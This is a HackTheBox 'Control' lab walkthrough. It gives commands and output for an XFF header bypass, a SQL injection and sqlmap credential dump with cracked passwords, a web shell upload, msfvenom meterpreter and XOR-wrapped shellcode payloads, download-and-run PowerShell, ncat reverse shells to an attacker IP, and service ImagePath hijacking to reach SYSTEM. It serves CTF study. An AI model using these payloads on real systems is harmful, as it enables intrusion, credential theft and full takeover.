Control is a 40 pts box on HackTheBox and it is rated as “Hard”. It has an admin page that is supposed to be accessible for only one ip but an attacker is able to bypass it with a http header. There is a search form that is vulnerable to SQL Injection on admin page. SQL Injection is not enough by itself, an attacker also needs to obtain code execution by abusing it. There is a WinRM process running locally and the attacker needs to forward it outside in order to get the initial access to user on the box. The user have control over some services and it allows escalation of privileges.
# Initial Enumeration
As always we begin with nmap,
1
2
3
4
5
6
λ ~/Desktop/htb/machines/control nmap -sVSC -vv -T5 10.10.10.167
...
Discovered open port 80/tcp on 10.10.10.167
Discovered open port 3306/tcp on 10.10.10.167
Discovered open port 135/tcp on 10.10.10.167
...
Port 3306 caught my attention as its not really that common to have the database exposed to public.
Web server,
Lets continue with content discovery, there was nothing much here too
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
λ ~/Desktop/htb/machines/control gobuster dir -u http://control.htb/ -w /opt/SecLists/Discovery/Web-Content/common.txt -t 50 -x php,html,aspx,js
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://control.htb/
[+] Threads: 50
[+] Wordlist: /opt/SecLists/Discovery/Web-Content/common.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: php,html,aspx,js
[+] Timeout: 10s
===============================================================
2020/04/25 01:12:12 Starting gobuster
===============================================================
/ADMIN.php (Status: 200)
/Admin.php (Status: 200)
/About.php (Status: 200)
/Index.php (Status: 200)
/Images (Status: 301)
/about.php (Status: 200)
/admin.php (Status: 200)
/admin.php (Status: 200)
/assets (Status: 301)
/database.php (Status: 200)
/images (Status: 301)
/index.php (Status: 200)
/index.php (Status: 200)
/uploads (Status: 301)
===============================================================
2020/04/25 01:13:15 Finished
===============================================================
Bypassing Admin Panel
There was a comment left on index.php
When this box was first released, there was a blog post going around on twitter about bypassing restrictions with XFF headers. I saw the same topic on some of the CTF challenges we played that week so I thought there was no chance it was going to be something else :)
This blog post below explains pretty much everything about it https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers
Without XFF header
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
λ ~/Desktop/htb/machines/control curl http://10.10.10.167/admin.php -vv
* Trying 10.10.10.167:80...
* TCP_NODELAY set
* Connected to 10.10.10.167 (10.10.10.167) port 80 (#0)
> GET /admin.php HTTP/1.1
> Host: 10.10.10.167
> User-Agent: curl/7.68.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Content-Type: text/html; charset=UTF-8
< Server: Microsoft-IIS/10.0
< X-Powered-By: PHP/7.3.7
< Date: Sat, 25 Apr 2020 04:40:18 GMT
< Content-Length: 89
<
* Connection #0 to host 10.10.10.167 left intact
Access Denied: Header Missing. Please ensure you go through the proxy to access this page
XFF header with the ip on the comment
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
λ ~/Desktop/htb/machines/control curl -vv -H "X-forwarded-for: 192.168.4.28" http://10.10.10.167/admin.php
* Trying 10.10.10.167:80...
* TCP_NODELAY set
* Connected to 10.10.10.167 (10.10.10.167) port 80 (#0)
> GET /admin.php HTTP/1.1
> Host: 10.10.10.167
> User-Agent: curl/7.68.0
> Accept: */*
> X-forwarded-for: 192.168.4.28
> Connection: close
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Content-Type: text/html; charset=UTF-8
< Server: Microsoft-IIS/10.0
< X-Powered-By: PHP/7.3.7
< Date: Sat, 25 Apr 2020 04:39:07 GMT
< Connection: close
< Content-Length: 8262
<
<!DOCTYPE html>
...
I used an extension called “Header Editor” to set the header permanently.
# SQL Injection on Admin panel
Parameter productName
was vulnerable to SQL injection on endpoint search_products.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /search_products.php HTTP/1.1
Host: control.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://control.htb/admin.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 54
Connection: close
Upgrade-Insecure-Requests: 1
x-forwarded-for: 192.168.4.28
productName=' UNION ALL SELECT @@VERSION,1,1,1,1,1-- -
Databases
1
2
3
4
5
6
λ ~/Desktop/htb/machines/control /opt/sqlmap/sqlmap.py -r search.req --batch -dbs
[01:50:03] [INFO] fetching database names
available databases [3]:
[*] information_schema
[*] mysql
[*] warehouse
Users and their passwords
1
2
3
4
5
6
7
8
9
10
11
λ ~/Desktop/htb/machines/control /opt/sqlmap/sqlmap.py -r search.req --batch --passwords
[01:50:27] [INFO] cracked password 'l3tm3!n' for user 'manager'
database management system users password hashes:
[*] hector [1]:
password hash: *0E178792E8FC304A2E3133D535D38CAF1DA3CD9D
[*] manager [1]:
password hash: *CFE3EEE434B38CBF709AD67A4DCDEA476CBA7FDA
clear-text password: l3tm3!n
[*] root [1]:
password hash: *0A4A5CAD344718DC418035A1F4D292BA603134D8
Hector’s hash got cracked too
0e178792e8fc304a2e3133d535d38caf1da3cd9d:l33th4x0rhector
Credentials didn’t work for SMB and WinRM was closed so I understood I needed to get code execution abusing the SQL injection
Abusing SQLi to get Code Execution
We can simply upload-write files into web server. I uploaded pawny shell.
1
λ ~/Desktop/htb/machines/control /opt/sqlmap/sqlmap.py -r search.req --file-write=./pawny.php --file-dest="C:\inetpub\wwwroot\uploads\morph3-pawny.php" --batch
Hector was in Remote Management Users
group (WinRM)
And WinRM was working locally
In order to connect to WinRM as hector I needed to forward it, so I decided to get a meterpreter shell.
Forwarding WinRM
I used msbuild method to get a meterpreter shell.
I have an automated script for it, https://github.com/morph3/Msbuild-payload-generator
On Kali,
1
2
3
4
5
6
7
(master ?:3 ✗) λ /opt/Msbuild-payload-generator python msbuild_gen.py -l 10.10.14.2 -p 9001 -a x86 -i 20 -m
...
[*] Generating the payload:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.2 LPORT=9001 -e x86/shikata_ga_nai -i 20 -f csharp
[*] Payload has been written to 'out_x86_9001.csproj'
[*] Remote command:
Invoke-WebRequest "http://10.10.14.2/out_x86_9001.csproj" -OutFile "C:\Windows\Temp\out.csproj"; C:\windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe C:\Windows\Temp\out.csproj
On pawny shell
1
p0wny@shell:C:\inetpub\wwwroot\uploads# powershell.exe -c "Invoke-WebRequest "http://10.10.14.2/out_x86_9001.csproj" -OutFile "C:\Windows\Temp\out.csproj"; C:\windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe C:\Windows\Temp\out.csproj"
1
2
3
4
5
6
meterpreter > getuid
Server username: NT AUTHORITY\IUSR
meterpreter > portfwd add -l 5985 -p 5985 -r 10.10.10.167
[*] Local TCP relay created: :5985 <-> 10.10.10.167:5985
# Getting shell as Hector
Used evilwinrm to connect to winrm
or if you don’t want to do port forwarding you can use the powershell script below to get a reverse shell as Hector
1
2
3
4
5
icacls c:\windows\temp\ncat.exe /grant Everyone:F
powershell -ep bypass
$pass = ConvertTo-SecureString 'l33th4x0rhector' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential ('WORKGROUP\hector', $pass)
Invoke-Command -ComputerName "Fidelity" -Credential $cred -ScriptBlock { C:\windows\temp\ncat.exe -e cmd.exe 10.10.14.2 9002 }
Escalating to root
Untill this part, everything was pretty straight forward and easy but after this part me and my team spent full +20 hours to get root but couldn’t because there were some hints missing and we couldn’t see anything.
However, a day later my team mate paint found an unintentional way that gave him the first blood, It was really a weird behaviour of the web server and I will try to explain it at the end :)
## Powershell History
When we were doing the box this powershell history below was not on the box, they added it later on to give more hints about root as people were struggling so bad
1
2
3
4
C:\Users\Hector\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine>type ConsoleHost_history.txt
type ConsoleHost_history.txt
get-childitem HKLM:\SYSTEM\CurrentControlset | format-list
get-acl HKLM:\SYSTEM\CurrentControlSet | format-list
Long story short what that means is hector has control over some services, he is able to modify binary paths or start them (can’t stop already running services because at that point its out of his permissions)
ACLs
ACL identifies a trustee and specifies the access rights allowed, denied, or audited for that trustee
https://docs.microsoft.com/en-us/windows/win32/secauthz/access-control-lists
To list of all services hector has control over
1
get-acl HKLM:\System\CurrentControlSet\Services\* | Format-List * | findstr /i "Hector Users Path"
For example, a service might not be installed or already running or there can be some error, instead of going one by one I will modify all services and try to start them with my hijacked path
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
PS C:\Users\Hector\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine> reg add "HKLM\System\CurrentControlSet\services\WlanSvc" /v ImagePath /t REG_EXPAND_SZ /d "C:\windows\temp\ncat.exe 10.10.14.2 9003 -e cmd" /f
reg add "HKLM\System\CurrentControlSet\services\WlanSvc" /v ImagePath /t REG_EXPAND_SZ /d "C:\windows\temp\ncat.exe 10.10.14.2 9003 -e cmd" /f
The operation completed successfully.
PS C:\Users\Hector\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine> reg query "HKLM\System\CurrentControlSet\services\WlanSvc" /v ImagePath
reg query "HKLM\System\CurrentControlSet\services\WlanSvc" /v ImagePath
HKEY_LOCAL_MACHINE\System\CurrentControlSet\services\WlanSvc
ImagePath REG_EXPAND_SZ C:\windows\temp\ncat.exe 10.10.14.2 9003 -e cmd
PS C:\Users\Hector\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine> Start-Service WlanSvc
Start-Service WlanSvc
PS C:\Users\Hector\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine> Stop-Service WlanSvc
Stop-Service WlanSvc
PS C:\Users\Hector\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine> cmd /c sc start WlanSvc
cmd /c sc start WlanSvc
[SC] StartService: OpenService FAILED 1060:
The specified service does not exist as an installed service.
Script,
1
2
3
4
5
6
7
$services = ls HKLM:\SYSTEM\CurrentControlset\Services
foreach ($service in $services){
reg.exe add $service.Name /v ImagePath /t REG_EXPAND_SZ /d "C:\windows\temp\ncat.exe 10.10.14.2 9003 -e cmd" /f
Start-Service -name $service.Name.Split("\\")[-1]
}
After running the script, I got hit on many services and got root multiple times :D.
# The unintended way that gave the system first blood
Basically under some circumstances web server acts differently but no matter how hard I tried, those cases didn’t make any sense to me so im leaving it to your imagination.
There are still many unknowns which I’m having trouble to understand. It would be perfect if you know anything about this bug and explain :D
Here are some test cases
1
2
3
4
5
6
7
8
Pawny | meterpreter shell
--------------------------------------------------------------------------------------------------
64bit meter exe failed to execute | 64bit meter exe failed to execute
shell with nc, iusr | shell with nc, wifidelity
*32bit meter exe failed to execute | *32bit meter exe failed to execute
whoami, iusr | whoami, iusr
whoami, iusr | c:\windows\system32\whoami.exe, wifidelity
64bit payload wrapped around 32 bit exe iusr | 64bit payload wrapped around 32 bit exe, wifidelity
*Its not related to AV, files never gets deleted
Here is a funny example about what is going on
1
2
3
4
5
6
meterpreter > execute -f "c:\windows\system32\whoami.exe > C:\inetpub\wwwroot\uploads\who.txt"
Process 1656 created.
meterpreter > cat who.txt
iis apppool\wifidelity
meterpreter > getuid
Server username: IUSR (0)
iis apppool\wifidelity
is like a system user which is able to restart Uso-Svc and is able to elevate his privileges to system easily.
Lets reproduce it
## First shell under php meterpreter context
I uploaded my reverse shell payload to the server and by simply visiting the url uploads/morph3.php
I executed it
1
λ ~/Desktop/htb/machines/control msfvenom -p php/meterpreter_reverse_tcp lhost=10.10.14.2 lport=9005 -f raw > morph3.php
## Wrapping a 64bit meterpreter shellcode around 32bit exe
This shouldn’t work but it works so I have no idea why
I used the wrapper below https://github.com/Arno0x/ShellcodeWrapper
1
2
3
4
5
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.10.14.2 lport=9001 -a x64 -f raw > shellcode.raw
./shellcode_encoder.py -cpp -cs -py shellcode.raw thisismykey xor
mcs -out:morph3.exe encryptedShellcodeWrapper_xor.cs
file morph3.exe
morph3.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
After that, I uploaded the 32bit exe(morph3.exe) to the server
## Executing the 32bit exe
It is really important that you execute it in a php meterpreter shell
## Shell as Wifidelity
As you can see we got a shell as Wifidelity
Its really weird that this user is not in users too and we can’t get its details
After going through some of the files that we were not able to see as hector, we see some files under /inetpub/wwwroot/temp/appPools
That strengthen my assumptions about a forgotten(deleted) apppool because there was a config which that really seemeled like it belonged to an actual project
## Uso-Svc
As we expected, after loading PowerUp.ps1 and running Invoke-AllChecks
we see that this user is able to restart Uso-Svc
By simply using Invoke-ServiceAbuse
we can get System shell from it but im not going to show it here again.
As I said I still can’t fully understand this vuln or bug but it helped us and paint for the system first blood :)
Thanks for TRK for this awesome box !